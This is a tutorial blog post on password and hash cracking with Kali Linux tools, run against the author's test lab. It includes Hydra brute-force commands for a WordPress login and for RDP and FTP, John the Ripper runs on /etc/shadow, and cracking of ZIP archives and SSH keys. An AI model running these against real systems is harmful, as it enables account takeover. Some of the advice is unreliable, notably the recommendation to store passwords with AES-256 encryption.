This story, Ethical Hacking (part 4) Password and Hash Cracking, is part of a series of articles teaching you how to start your journey in ethical hacking. For organisations, end users, and security experts, the big take away from this story and my other ethical hacking articles is to take your online security seriously.
It may seem tedious all these applications with strict password policies but they are there for a reason which you will soon see.
Some advice to users in relation to passwords:
- Your passwords should be at least 8 characters long, ideally not 8 exactly.
- Your passwords you should have a mix of higher, lower, numeric and special characters.
- You should really use a unique password on sensitive sites like Internet banking, government, social media, systems etc.
- You should try and rotate your passwords as often as possible. With a reasonable password every 6 months.
- If the site uses Multi Factor Authentication (MFA), use it!
- If a site allows you to sign in with Google, Facebook, Github etc. using OAuth2, use it! It may not seem safe but they will be more likely to keep your personal data safe than the site you are signing into.
- Sign up to “Have I Been Pawned”. It will notify you if any site has been hacked where your credentials have been stolen.
Some advice to developers in relation to user data and in particular passwords:
- Never store passwords and user data locally on servers
- Never store passwords and sensitive data in code repositories
- Hashing passwords with MD5 is not securing user passwords!
- Although hashing with SHA is marginally better you are still not securing user passwords!
- It’s preferable to hash a password instead of encrypting it. Encryption is a two way function whereas hashing is a one-way function. Encryption requires you to store a key which is problematic if someone gains access to the key. The, “Password Storage Cheat Sheet” from OWASP is a really good resource to make sure you handle passwords in the correct way.
- Use OpenID Connect or OAuth2 if possible E.g. Single Sign-on (SSO) from Active Directory or Google/Facebook sign-in. At least that way you can offer Multi-Factor Authentication (MFA) and they are more likely able to keep user data safe.
- Do not allow unlimited amounts of bad passwords attempts. Ideally throttle attempts or even better temporarily ban the source IP. You should definitely be triggering a security event if this is happening.
Just to give you some preamble related to passwords…
- A known common password sequence takes less than a millisecond to crack. This doesn’t even have to be a dictionary word. It can be any sequence that is common for users to use. For example even “zxcvbnm” is estimated to take 0.29 milliseconds. The “rockyou.txt” hackers password list has 14344392 commonly used passwords so be creative!
- A password less than 8 characters is pointless so don’t even bother. Assuming a password of 8 completely random lowercase characters it would take a hacker just over 5 hours to crack it.
- A password of 8 completely random upper and lowercase characters would take a hacker just over 1 month and 3 weeks to crack.
- A password of 8 completely random upper, lower, and numeric characters would take over 7 months and 1 week to crack.
- A password of 8 completely random upper, lower, and special characters would take over 14 years to crack.
- A password of 8 completely random upper, lower, numeric and special characters would take over 14 years to crack.
- For each character you add over 8 characters it increases exponentially.
This is based on the computing power today and would very depending on what hardware you have access too. If you have a server farm crunching passwords or in the future quantum computing passwords will really become irrelevant.
The bottom line here…
- Don’t use a predictable password!
- With a reasonably strong 8 character password change it every 6 months which will mean anyone trying to crack it will have to start over.
- Don’t use the same password in multiple places as if one gets cracked hackers will automate trying the same password in multiple locations starting with your precious social media.
I’m going to discuss password and hash cracking tools found in Kali Linux. If you are not familiar with this I recommend reading my other article, “Ethical Hacking (Part 2): Introducing Kali Linux”. You can always install the individual tools on your Linux system or Mac but it would be pointless as Kali comes with it bundled all-in-one ready to go.
CeWL
It’s all good trying to crack a password but against what username? The WordPress hacking tool (“wpscan”) has a nice feature to enumerate usernames so you will have a list to work on straight away but what if you don’t have this. This is where “cewl” comes into the picture. You point it at a website and it will scan the pages looking for potential usernames and dump them into a file to be passed into a cracker.
kali@kali:~$ cewl -w usernames.txt -d1 -m4 http://192.168.1.2
CeWL 5.4.8 (Inclusion) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
kali@kali:~$ wc -l usernames.txt
198 usernames.txt- d1 — the depth in which CeWL will crawl the website. 1 indicates that it will stay on this exact site and not open any links on it.
- m4 — the minimum length of the word that will be put in the list.
If for example you would want to pass this new usernames list into “wpscan” you could do this…
kali@kali:~$ wpscan --usernames usernames.txtCrunch
“crunch” is a handy tool for generating “wordlists” for brute force password cracking.
kali@kali:~$ crunch 6 6 0123456789 -o numbers.txt
Crunch will now generate the following amount of data: 7000000 bytes
6 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 1000000crunch: 100% completed generating outputIn the example above I’m saying I want a minimum and maximum of 6 characters and I want them only to be in the range “0123456789”. The output file here will be called “numbers.txt” and will contain a list of 1 million numbers.
Creating your own “wordlist” may be slightly redundant as Kali comes bundled with many wordlists including the famous “rockyou.txt” with 14344392 common passwords.
kali@kali:/usr/share/wordlists$ tree
.
├── dirb -> /usr/share/dirb/wordlists
├── dirbuster -> /usr/share/dirbuster/wordlists
├── dnsmap.txt -> /usr/share/dnsmap/wordlist_TLAs.txt
├── fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
├── fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
├── metasploit -> /usr/share/metasploit-framework/data/wordlists
├── nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst
├── rockyou.txt
├── seclists -> /usr/share/seclists
└── wfuzz -> /usr/share/wfuzz/wordlist6 directories, 4 filesJust a note that in your Kali system you may see “rockyou.txt.gz”. This means the file is compressed. If you want to extract it run “gunzip rockyou.txt.gz”.
Hydra
“hydra” is an extremely powerful password cracking tool. I’m not going to cover the tool in low level detail but I’ll give you some useful pointers and examples how to use it.
Example 1:
My test WordPress site is running on 192.168.1.2. What I am doing here is getting “hydra” to run through the “usernames.txt” list to see if the system contains any of the usernames. As you can see I supplied “na” as the password as it really is irrelevant. If the response from the request is “Invalid username” it tells hydra it was a failed attempt.
kali@kali:~$ hydra -V -L usernames.txt -p na 192.168.1.2 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log:F=Invalid username'Example 2:
Once you have your username list nailed down in “usernames.txt”, the next step is to attempt to brute force the passwords.
kali@kali:~$ hydra -V -L usernames.txt -x 1:3:A1 192.168.1.2 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log:F=Invalid username'The “-x” and optional “-y” argument determines the password criteria. Above I’m saying a password between 1 and 3 characters which consists of uppercase and numbers.
Hydra bruteforce password generation option usage:
-x MIN:MAX:CHARSET
MIN is the minimum number of characters in the password
MAX is the maximum number of characters in the password
CHARSET is a specification of the characters to use in the generation
valid CHARSET values are: 'a' for lowercase letters,
'A' for uppercase letters, '1' for numbers, and for all others,
just add their real representation.
-y disable the use of the above letters as placeholders
Examples:
-x 3:5:a generate passwords from length 3 to 5 with all lowercase letters
-x 5:8:A1 generate passwords from length 5 to 8 with uppercase and numbers
-x 1:3:/ generate passwords from length 1 to 3 containing only slashes
-x 5:5:/%,.- generate passwords with length 5 which consists only of /%,.-
-x 3:5:aA1 -y generate passwords from length 3 to 5 with a, A and 1 only
The developers seem to have a sense of humour. I tried to generate a password of 18 characters with uppercase, numbers, an asterisk and carrot and I got this…
kali@kali:~$ hydra -V -l admin -x 18:18:A1*^ 192.168.1.2 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log:F=Invalid username'[ERROR] definition for password bruteforce (-x) generates more than 4 billion passwords - this is not a bug in the program, it is just not feasible to try so many attempts. Try a calculator how long that would take. duh.
Example 3:
“hydra” can attack many services.
Hydra currently supports:
adam6500, afp, asterisk, cisco, cisco-enable, cvs, firebird, ftp, ftps, http[s]-{head|get|post} http[s]-{get|post}-form, http-proxy, http-proxy-urlenum, icq, imap[s], irc, ldap2[s], ldap3[-{cram|digest}md5][s], mssql, mysql(v4), mysql5, ncp, nntp, oracle, oracle-listener, oracle-sid, pcanywhere, pcnfs, pop3[s], postgres, rdp, radmin2, redis, rexec, rlogin, rpcap, rsh, rtsp, s7–300, sapr3, sip, smb, smtp[s], smtp-enum, snmp, socks5, ssh, sshkey, svn, teamspeak, telnet[s], vmauthd, vnc, xmpp
kali@kali:~$ hydra -l <username> -P <password_file> telnet://targetname
kali@kali:~$ hydra -t 4 -V -f -l administrator -P RockYou.txt rdp://targetname
kali@kali:~$ hydra -t 5 -V -f -L userlist -P passwordlist ftp://targetnameIf the system you are trying to crack does not have a username like Cisco devices without AAA enabled you can use “ikettle”. It is a special keyword for sending passwords only.
kali@kali:~$ hydra -P <password_file> cisco://ikettleHashcat
As I alluded to earlier, MD5 is not suitable for storing user passwords. It is only marginally better than using storing passwords plain text. I have seen loads of web services and developers hashing user passwords and storing them in the database. Then when a user logs in they hash the password and compare the hashes. If the hashes match, the passwords match, and the user is logged in. This all sounds fine in theory but not when you look closer into MD5. Although you can’t “unhash” a password you can still find out the value of the hash by trying combinations and comparing the hashes until they match!
kali@kali:~$ echo -n "hash" | md5sum | tr -d " -"
0800fc577294c34e0b28ad2839435945kali@kali:~$ echo -n "hash" | md5sum | tr -d " -"
0800fc577294c34e0b28ad2839435945kali@kali:~$ echo -n "hash" | md5sum | tr -d " -"
0800fc577294c34e0b28ad2839435945The hash is always the same for “hash”. That means if I use a password cracker which will find “hash” in milliseconds all that needs to be done is hash it and compare the hashes to confirm the password is indeed “hash”.
One option is to iterate through a large “wordlist” like “rockyou.txt” and generate a hashes version of it.
kali@kali:~$ for i in $(cat rockyoutop10.txt); do echo -n "$i"| md5sum | tr -d " -" >> hashes; doneI took the top 10 passwords from “rockyou.txt” and created “rockyoutop10.txt”.
Before:
kali@kali:/usr/share/wordlists# cat rockyoutop10.txt
123456
12345
123456789
password
iloveyou
princess
1234567
rockyou
12345678
abc123After:
root@kali:/usr/share/wordlists# cat rockyouhashes.txt
e10adc3949ba59abbe56e057f20f883e
827ccb0eea8a706c4c34a16891f84e7b
25f9e794323b453885f5181f1b624d0b
5f4dcc3b5aa765d61d8327deb882cf99
f25a2fc72690b780b2a14e140ef6a9e0
8afa847f50a716e64932d995c8e7435a
fcea920f7412b5da7be0cf42b8c93759
f806fc5a2a0d5ba2471600758452799c
25d55ad283aa400af464c76d713c07ad
e99a18c428cb38d5f260853678922e03Now if my password was in the top 10 of “rockyou.txt” my stored hash would be the same as “rockyouhashes.txt”.
kali@kali:/usr/share/wordlists# hashcat -m 0 rockyouhashes.txt rockyoutop10.txtThe output and processing is too large to include here but this will crack all the hashes in “rockyouhashes.txt” from the plain password list from “rockyoutop10.txt”.
This tool is great for cracking hashed passwords but “John the Ripper” discussed later on it probably better.
I just wanted to briefly demonstrate why developers should be using AES-256 bit encryption instead.
kali@kali:~$ echo "plaintext" > plaintext.txtkali@kali:~$ cat plaintext.txt
plaintextkali@kali:~$ openssl aes-256-cbc -a -salt -pbkdf2 -in plaintext.txt -out ciphertext.txt
enter aes-256-cbc encryption password:
Verifying - enter aes-256-cbc encryption password:kali@kali:~$ cat ciphertext.txt
U2FsdGVkX1+zve57VHOFPJByuoGiBW34zsaMs2t69NY=kali@kali:~$ openssl aes-256-cbc -d -a -pbkdf2 -in ciphertext.txt -out plaintextnew.txt
enter aes-256-cbc decryption password:kali@kali:~$ cat plaintextnew.txt
plaintextAnd we encrypt “plaintext” again.
kali@kali:~$ openssl aes-256-cbc -a -salt -pbkdf2 -in plaintext.txt -out ciphertext.txt
enter aes-256-cbc encryption password:
Verifying - enter aes-256-cbc encryption password:kali@kali:~$ cat ciphertext.txt
U2FsdGVkX19l7vWZ1Hq9shl1lRll3py9ZQfrq/23BbI=kali@kali:~$ openssl aes-256-cbc -d -a -pbkdf2 -in ciphertext.txt -out plaintextnew.txt
enter aes-256-cbc decryption password:kali@kali:~$ cat plaintextnew.txt
plaintextPlease notice that the cipher for the text “plaintext” is not the same… “U2FsdGVkX1+zve57VHOFPJByuoGiBW34zsaMs2t69NY=” and “U2FsdGVkX19l7vWZ1Hq9shl1lRll3py9ZQfrq/23BbI=”.
You are not able to brute force this.
John the Ripper
John the Ripper is a free password cracking software tool. Originally developed for the Unix operating system, it can now run on fifteen different platforms.
It can be used to crack Linux passwords. The Linux user passwords are saved in “/etc/shadow” file.
If you have root access and able to access the “/etc/shadow” file you can run this…
root@kali:~# john /etc/shadow
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
0g 0:00:00:04 4.47% 2/3 (ETA: 10:02:32) 0g/s 1886p/s 1886c/s 1886C/s Ruthless..Unique
Session abortedIt can take a while depending on your hardware.
“john” can crack hashes in milliseconds…
kali@kali:~$ echo -n "Password1" | md5sum | tr -d " -" > md5hash.txt
kali@kali:~$ sudo john --format=Raw-MD5 md5hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Password1 (?)
1g 0:00:00:00 DONE 2/3 (2020-10-03 10:49) 100.0g/s 384000p/s 384000c/s 384000C/s !@#$%..Skippy
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completedkali@kali:~$ sudo john --format=Raw-MD5 md5hash.txt --show
?:Password11 password hash cracked, 0 leftIt you want to cover the password of a ZIP or RAR archive you can do it as follows…
root@kali:/home/kali# echo "example" > zip2john.txt
root@kali:/home/kali# zip -P pass zip2john.zip zip2john.txt
adding: zip2john.txt (stored 0%)
root@kali:/home/kali# unzip zip2john.zip
Archive: zip2john.zip
[zip2john.zip] zip2john.txt password:
replace zip2john.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
extracting: zip2john.txt
root@kali:/home/kali# zip2john zip2john.zip > zip.hashes
ver 1.0 efh 5455 efh 7875 zip2john.zip/zip2john.txt PKZIP Encr: 2b chk, TS_chk, cmplen=20, decmplen=8, crc=520964DD
root@kali:/home/kali# cat zip.hashes
zip2john.zip/zip2john.txt:$pkzip2$1*2*2*0*14*8*520964dd*0*46*0*14*5209*51b1*ca8bdb7527a441fd8253e355f715b5b2bd09bd8e*$/pkzip2$:zip2john.txt:zip2john.zip::zip2john.zip
root@kali:/home/kali# john zip.hashes
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
pass (zip2john.zip/zip2john.txt)
1g 0:00:00:00 DONE 2/3 (2020-10-03 10:16) 50.00g/s 1105Kp/s 1105Kc/s 1105KC/s modem..robocop
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali:/home/kali# john zip.hashes --show
zip2john.zip/zip2john.txt:pass:zip2john.txt:zip2john.zip::zip2john.zip
1 password hash cracked, 0 leftI created a plain text file containing the word “example”. I then created a ZIP archive with the password “pass”. I then ran “zip2john” to extract the ZIP hashes. I then run “john” on the hash file. The password “pass” was cracked in milliseconds.
You can do the exact same thing with RAR archives using “rar2john” which is also included with Kali Linux.
There are many other variants included with Kali Linux…
root@kali:~# ls -la /usr/sbin | grep 2john
-rwxr-xr-x 1 root root 55192 Sep 13 2019 bitlocker2john
-rwxr-xr-x 1 root root 22392 Sep 13 2019 dmg2john
lrwxrwxrwx 1 root root 4 Sep 13 2019 gpg2john -> john
-rwxr-xr-x 1 root root 18296 Sep 13 2019 hccap2john
-rwxr-xr-x 1 root root 55208 Sep 13 2019 keepass2john
-rwxr-xr-x 1 root root 22392 Sep 13 2019 putty2john
-rwxr-xr-x 1 root root 18296 Sep 13 2019 racf2john
lrwxrwxrwx 1 root root 4 Sep 13 2019 rar2john -> john
-rwxr-xr-x 1 root root 22472 Sep 13 2019 uaf2john
-rwxr-xr-x 1 root root 14200 Sep 13 2019 vncpcap2john
-rwxr-xr-x 1 root root 59408 Sep 13 2019 wpapcap2john
lrwxrwxrwx 1 root root 4 Sep 13 2019 zip2john -> johnroot@kali:~# ls -la /usr/share/john | grep 2john
-rwxr-xr-x 1 root root 11530 May 14 2019 1password2john.py
-rwxr-xr-x 1 root root 83932 Sep 13 2019 7z2john.pl
-rwxr-xr-x 1 root root 3897 May 14 2019 adxcsouf2john.py
-rwxr-xr-x 1 root root 2403 May 14 2019 aem2john.py
-rwxr-xr-x 1 root root 890 Sep 13 2019 aix2john.pl
-rwxr-xr-x 1 root root 2085 May 14 2019 aix2john.py
-rwxr-xr-x 1 root root 1369 May 14 2019 andotp2john.py
-rwxr-xr-x 1 root root 3456 May 14 2019 androidbackup2john.py
-rwxr-xr-x 1 root root 7449 May 14 2019 androidfde2john.py
-rwxr-xr-x 1 root root 1710 May 14 2019 ansible2john.py
-rwxr-xr-x 1 root root 732 May 14 2019 apex2john.py
-rwxr-xr-x 1 root root 2028 May 14 2019 applenotes2john.py
-rwxr-xr-x 1 root root 1448 May 14 2019 aruba2john.py
-rwxr-xr-x 1 root root 6294 May 14 2019 axcrypt2john.py
-rwxr-xr-x 1 root root 10174 May 14 2019 bestcrypt2john.py
-rwxr-xr-x 1 root root 33770 May 14 2019 bitcoin2john.py
-rwxr-xr-x 1 root root 2720 May 14 2019 bitshares2john.py
-rwxr-xr-x 1 root root 4318 May 14 2019 bitwarden2john.py
-rwxr-xr-x 1 root root 7755 May 14 2019 bks2john.py
-rwxr-xr-x 1 root root 2686 May 14 2019 blockchain2john.py
-rwxr-xr-x 1 root root 26741 May 14 2019 ccache2john.py
-rwxr-xr-x 1 root root 6487 Sep 13 2019 cisco2john.pl
-rwxr-xr-x 1 root root 881 May 14 2019 cracf2john.py
-rwxr-xr-x 1 root root 2538 May 14 2019 dashlane2john.py
-rwxr-xr-x 1 root root 3771 May 14 2019 deepsound2john.py
-rw-r--r-- 1 root root 7365 May 14 2019 diskcryptor2john.py
-rwxr-xr-x 1 root root 5250 May 14 2019 dmg2john.py
-rwxr-xr-x 1 root root 26225 May 14 2019 DPAPImk2john.py
-rwxr-xr-x 1 root root 2054 May 14 2019 ecryptfs2john.py
-rwxr-xr-x 1 root root 5085 May 14 2019 ejabberd2john.py
-rwxr-xr-x 1 root root 9574 May 14 2019 electrum2john.py
-rwxr-xr-x 1 root root 2718 May 14 2019 encfs2john.py
-rwxr-xr-x 1 root root 1093 May 14 2019 enpass2john.py
-rwxr-xr-x 1 root root 3775 May 14 2019 ethereum2john.py
-rwxr-xr-x 1 root root 1726 May 14 2019 filezilla2john.py
-rwxr-xr-x 1 root root 3440 May 14 2019 geli2john.py
-rwxr-xr-x 1 root root 7096 May 14 2019 hccapx2john.py
-rwxr-xr-x 1 root root 1060 May 14 2019 htdigest2john.py
-rwxr-xr-x 1 root root 1304 May 14 2019 ibmiscanner2john.py
-rwxr-xr-x 1 root root 711 May 14 2019 ikescan2john.py
-rwxr-xr-x 1 root root 5711 Sep 13 2019 itunes_backup2john.pl
-rwxr-xr-x 1 root root 4811 May 14 2019 iwork2john.py
-rwxr-xr-x 1 root root 1110 May 14 2019 kdcdump2john.py
-rwxr-xr-x 1 root root 2956 May 14 2019 keychain2john.py
-rwxr-xr-x 1 root root 3408 May 14 2019 keyring2john.py
-rwxr-xr-x 1 root root 5417 May 14 2019 keystore2john.py
-rwxr-xr-x 1 root root 2325 May 14 2019 kirbi2john.py
-rwxr-xr-x 1 root root 837 May 14 2019 known_hosts2john.py
-rwxr-xr-x 1 root root 9682 May 14 2019 krb2john.py
-rwxr-xr-x 1 root root 4432 May 14 2019 kwallet2john.py
-rwxr-xr-x 1 root root 4299 May 14 2019 lastpass2john.py
-rwxr-xr-x 1 root root 468 Sep 13 2019 ldif2john.pl
-rwxr-xr-x 1 root root 5645 May 14 2019 libreoffice2john.py
-rwxr-xr-x 1 root root 874 Sep 13 2019 lion2john-alt.pl
-rwxr-xr-x 1 root root 990 Sep 13 2019 lion2john.pl
-rwxr-xr-x 1 root root 1527 May 14 2019 lotus2john.py
-rwxr-xr-x 1 root root 4426 May 14 2019 luks2john.py
-rwxr-xr-x 1 root root 2603 May 14 2019 mac2john-alt.py
-rwxr-xr-x 1 root root 24612 May 14 2019 mac2john.py
-rwxr-xr-x 1 root root 2297 May 14 2019 mcafee_epo2john.py
-rwxr-xr-x 1 root root 1373 May 14 2019 monero2john.py
-rwxr-xr-x 1 root root 2495 May 14 2019 money2john.py
-rwxr-xr-x 1 root root 2576 May 14 2019 mozilla2john.py
-rwxr-xr-x 1 root root 56632 May 14 2019 multibit2john.py
-rwxr-xr-x 1 root root 943 May 14 2019 neo2john.py
-rwxr-xr-x 1 root root 131690 May 14 2019 office2john.py
-rwxr-xr-x 1 root root 3073 May 14 2019 openbsd_softraid2john.py
-rwxr-xr-x 1 root root 3792 May 14 2019 openssl2john.py
-rwxr-xr-x 1 root root 2846 May 14 2019 padlock2john.py
-rwxr-xr-x 1 root root 56777 May 14 2019 pcap2john.py
-rwxr-xr-x 1 root root 59772 Sep 13 2019 pdf2john.pl
-rwxr-xr-x 1 root root 4735 May 14 2019 pem2john.py
-rwxr-xr-x 1 root root 3303 May 14 2019 pfx2john.py
-rwxr-xr-x 1 root root 9861 May 14 2019 pgpdisk2john.py
-rwxr-xr-x 1 root root 2751 May 14 2019 pgpsda2john.py
-rwxr-xr-x 1 root root 9381 May 14 2019 pgpwde2john.py
-rwxr-xr-x 1 root root 1463 May 14 2019 prosody2john.py
-rwxr-xr-x 1 root root 2481 May 14 2019 pse2john.py
-rwxr-xr-x 1 root root 1337 May 14 2019 ps_token2john.py
-rwxr-xr-x 1 root root 1684 May 14 2019 pwsafe2john.py
-rwxr-xr-x 1 root root 7162 Sep 13 2019 radius2john.pl
-rwxr-xr-x 1 root root 2274 May 14 2019 radius2john.py
-rwxr-xr-x 1 root root 9537 Sep 13 2019 sap2john.pl
-rwxr-xr-x 1 root root 20434 May 14 2019 signal2john.py
-rwxr-xr-x 1 root root 856 May 14 2019 sipdump2john.py
-rwxr-xr-x 1 root root 7781 May 14 2019 ssh2john.py
-rwxr-xr-x 1 root root 25118 May 14 2019 sspr2john.py
-rwxr-xr-x 1 root root 3782 May 14 2019 staroffice2john.py
-rwxr-xr-x 1 root root 686 May 14 2019 strip2john.py
-rwxr-xr-x 1 root root 5203 May 14 2019 telegram2john.py
-rwxr-xr-x 1 root root 4931 May 14 2019 tezos2john.py
-rwxr-xr-x 1 root root 3206 May 14 2019 truecrypt2john.py
-rwxr-xr-x 1 root root 2246 Sep 13 2019 vdi2john.pl
-rwxr-xr-x 1 root root 2185 May 14 2019 vmx2john.pyThis is how you would crack an SSH private key. I created one with the phrase of “pass123”.
kali@kali:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa):
Created directory '/home/kali/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:5LasngROUjrU5Y7iVNt2367kOcbqoOHUGA7EVgBMNw8 kali@kali
The key's randomart image is:
+---[RSA 3072]----+
|+o.E. . |
| o.o+o |
| = +.. . |
| + + = o |
| B * + S |
| o O * + o . |
| . * + o.o . |
| o + + o+o |
| o.+.oo+o. |
+----[SHA256]-----+
kali@kali:~$ sudo /usr/share/john/ssh2john.py /home/kali/.ssh/id_rsa > id_rsa.txt
kali@kali:~$ cat id_rsa.txt
/home/kali/.ssh/id_rsa:$sshng$2$16$57cf61c7d0a6804a6daf016a886def31$1894$6f70656e7373682d6b65792d7631000000000a6165733235362d63747200000006626372797074000000180000001057cf61c7d0a6804a6daf016a886def31000000100000000100000197000000077373682d727361000000030100010000018100b368edba67ec85a792e39921192019c28ddd6e78c954332a93d85082c941ad229a39e9eaa18960234ae2fdac4a8580e69440918e8fa05aeba001f258abd7c7414bfac983aca8aa8098c980f3cafda99fd2d1a09ec4bb23ce7835430ca4d93ca9f61931c091c2e9a15a3f3847eb61802d7eb560c85ff3b934e1246f5692c610646e3221dd7e102842f68ae28bf38d0bb1fb47a4f7174bfe2b81929ffb7c1e65fc796137f9550425095fc62cc5fb882b4a6b48add1d57bdc42515c57926a3baaa2f6fbca8d96686bb0ecf498637be1def0e6ecd5e0adb2f637be1bbdf141a02b76c1e8a8595b0cea02c11d46adc4f8a596a1880625747c44f5ef097a74d69d3acefac72afc49a704b98413ffbe9376b7280af6df7109e0e7f75dfab1f314d8729580080b7e9ebbef9a327112e609a25b1f374d3c0204d63c5cb692eb7fb735f0537c786d0c4c6e513d6544b5fe71cb1792273176a944f532ac42a1a588b275cb48bb55c1cd1f455c9fad11aee39127c40373b484d07a28891701d31c1ee5c927ff00000580b869ed4b8a85a459400ee5f53a9ae3a0c5ccb2ff2550341b164e25d3c2f9c6368b434780d1cf04811100749e5ac987908a33de42834b8b745231d766d1a9b2b3c21106391696faf9eab4a5ef791069c7f7436c482af53c2ac8fb5f80d76891001570b6d00fd158c28580a7042e17f5003a0cdfd6d012b1bc5e628df787229677119dfa8f3fbe697e2eea954079f11cd93cbb5f022f0f77aa779fb667fac012f1a48a67656ddfeb258d68783275a240afbc7cb8d609674ba9e3061503a61cf3d608e4dd885787af762a749e951cea1dff6cd37b0d0df17cf3082582224ee17ec613d1b27e1c27ab8a5fb446e8502197bf8f1a842a4b92305b9285150aa27d45c255fd5a482648e7bf761fc7bb57d3e1cf086b2a43bb00757d27f53ace8576716c58812457edc2530065707514fc63efbbf7633fcc2620218476fc6cebc2729cbf68eaaf4f585371ed26352c77671ac69d229f1c041ed435076e894f8480ef3fc9771d038338a114eeee00a5f3b6616d79a0b7836890bd2e74f2907eee10480bd3c8755d50c53eb77abc76b6892104d42dd09b971f118d85686c16994df5d24c90a145e148723e5cd3f1cfac93426b61813bc1c528d796c5d2496646f3d18257c205b13555fc1247caaf23f6316a888ddcfd1fbe2ec6fd0a05a3655ba42a9a475c32ac97b9ff21ced5fa333bb8b9ee19b3c50d022019d1de3deb20cad9709be49607bf4d08e22c6ec945497c800ab09481e10b83eb22bdde6df1e2a5ad1cad0fd0fff2030001c9e41b2a4cef5472df9fd2d2421c3daa59e2f8c2939ef31c97c9d4b7895e474089f60f6c7b760c5d5e0c339d3e0ef1a061d725ed485bd62b596c63d4471fb52a7c449c969d1f76606517483bb00046494b93d377d9c4eb75dd4fcae7568250a39ffa2d3d8eb1440e352863a9a71b81288a1eae66d0d3520a772bb2ea2fc42050c0369d2aeaa4bc9a45c6f9668ba4d90965910cfb82072050332567daa209f98fe747ce3f9b092d94c491b9efdacc118b80eade99d44d8c3af2753f0c3d6578ec462f96b863abb247506a7ddafc6f64d609fced4fe511fe273b1da1286f4904834e49e4b5ea5f329d7d4755daabb58e04315213878db1657c5dca91bfa39f56cb75d1a0a02ffcd38bf8fa70f5e578057623f5b7f8a1480cb1948db7b0957e73cff4bf5731ca1e981d09ede55d44fd7c1067d2d786bd33e0ae2015348712f27abb07c761b80d6ecded67e76092a73b93bf79efbd71a6cf7ef134996d60e4c4bf7981e131690c133dd971724d55c297ccf0bcfe927e0c3e6d3eb1d9f84300cfb1a06acc6cc64b22cf2887f1dd66a9a410c7102402f6e4ce252b2c1d92f20fdcc676d4d63c62b1d893b1c0b30a107ccdf876c33358ccbc0f667c9e324a87a9a0b6abbce8140dab4379c2c8e646f5865de0842fed2339382e6fc47a8b37f508d8182340a7b65a9405fc1b253e263d4e28b9bca6edfe11268c140d97ee1ebf87c09b8d49e6ba1267a79512a187d912190a5b214f3ba623d96a9f4a273d738b680291d2754eaff5102a348378e96867304e64b3ce3446b04db5abf43b17c2a0221cfb25a6deae8555cc238d3b44a3d92133cec43692fa61124e252df04492e86fb6206083c968bd03b41c1e786cbe70be1bce6b5fd3ff1e679f4225c2bdb8f751ca001c806529b564c2cf9c38eca2dd7d1e050ce4018695b8d6818f17caba8a2eb340b7dd69dbd22e11bc3c114c8ae962527e692fb870b33c8103f9973bbb134418a90a470efa1653131e8470ed1cf2e3b732dc3c4f064fa6c157b6a9e1ec3bbb8b097d214d53147d75900e29f42a93896b7740f6a4d7baa5fadfd5d2861fa2c2a7ee3be663bcd956276587b5c5303682d0e4e027b74b808b84e9f2a9d092254bd5ed8b0bb50ae1667a82b999d01b4f36795c60c6d640eab758a8047abf68c245421c9f003823d27da1da2471f81edf7581102c35657c387341f7ba9547d2$16$486
kali@kali:~$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:05:18 0.02% (ETA: 2020-10-23 06:36) 0g/s 10.34p/s 10.34c/s 10.34C/s larisa
Session abortedI’m not going to cover each of the “2john” tools but basically each one will have a process to extract the hash and then you will use “john” to crack it.
For more examples of how to use “john”, you can find them here.
Other password cracking tools included with Kali Linux which are worth looking into depending on your requirements. If this is an area of interest for you I recommend looking into these tools as well.
- Medusa (“medusa”) — very fast at brute forcing remote services like SMB, HTTP, POP3, MSSQL, SSH v2, and many more.
